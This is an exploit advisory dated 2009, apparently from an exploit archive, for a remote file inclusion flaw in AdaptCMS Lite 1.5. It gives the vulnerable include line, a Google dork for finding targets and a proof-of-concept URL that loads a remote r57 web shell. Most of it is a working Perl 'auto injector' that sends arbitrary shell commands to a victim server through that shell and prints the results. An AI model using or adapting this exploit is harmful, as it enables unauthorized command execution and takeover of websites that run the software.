)   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\ 

[+] AdaptCMS Lite 1.5 Remote File Inclusion Vulnerability
[-] Author : v3n0m
[-] Contact : v3n0m666[at]live[dot]com
[-] Blog : http://v3n0m.blogdetik.com/
[-] Group : YOGYACARDERLINK
[-] Site : http://yogyacarderlink.web.id/
[-] Date : November, 26-2009 [INDONESIA]

[!] Application : AdaptCMS Lite
[!] Vendor : www.insanevisions.com
[!] Version : 1.5 Other versions may also be affected
[!] Download : http://sourceforge.net/projects/adaptcms/files/
[!] License : Free
[!] Vulnerable : Remote File Inclusion
[!] Google Dork : Copyright 2006-2009 Insane Visions

[o] Description

AdaptCMS is a PHP CMS that is made for complete control of your website,
easiness of use and easily adaptable to any type of website.
It's made easy with advanced custom fields,
a very simple but powerful template system and much more.

Vuln Code & PoC
***************
Vuln: include_once($sitepath."includes/rss/simplepie.inc");

PoC : http://server/plugins/rss_importer_functions.php?sitepath=http://localhost/r57.txt??

AdaptCMS Lite Auto Exploiter
****************************

#!/usr/bin/perl -w

##################################################################
# Created by v3n0m                                               #
# sHoutz: lingah,IdioT_InsidE,LeQhi,aRiee,z0mb13,m4rco,NaZmy,    #
#   eidelweiss,JaLi-,Anak_Naga_,g0nz,mywisdom,setanmuda,   #
#   yoga0400,ripper_maya,elv1n4,badkiddies,dhit_coxon,     #
#   psychotic_girl,jo8928,r4f43l_world,angela zhang        #
#   & All YOGYACARDERLINK Crew                             #
#                                                                #
# - register_globals = on                                        #
# - allow_url_include = on                                       #
# - allow_url_fopen = on                                         #
##################################################################
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
 print "|---------------------------------------------|\n";
 print "|       AdaptCMS Lite RFI Auto Injector       |\n";
 print "| Created  : v3n0m                            |\n";
 print "| E-mail   : v3n0m666[at]live[dot]com         |\n";
 print "|                                             |\n";
 print "|                                             |\n";
 print "|                  www.yogyacarderlink.web.id |\n";
 print "|---------------------------------------------|\n\n";
 print "Usage:\n";
 print " perl $0 -u \"http://target/[path]/\" -fuck \"http://localhost/r57.txt??\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help,
  'u=s'            => \$u,
  'fuck=s'            => \$fuck
  );

&banner unless ($u);
&banner unless ($fuck);

chomp($u);
chomp($fuck);

while (){

 print "[shell]:~\$ ";
 chomp($cmd=<STDIN>);

 if ($cmd eq "exit" || $cmd eq "quit") {
  exit 0;
 }

 my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $u . "/plugins/rss_importer_functions.php?sitepath=" . $fuck . $iny;
        chomp($own);
 my $req = HTTP::Request->new(GET => $own);
 my $res = $ua->request($req);
 my $con = $res->content;
 if ($res->is_success){
  print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
 }
           else
             {
                print "Exploiting failed !!\n";
                exit(1);
             }
}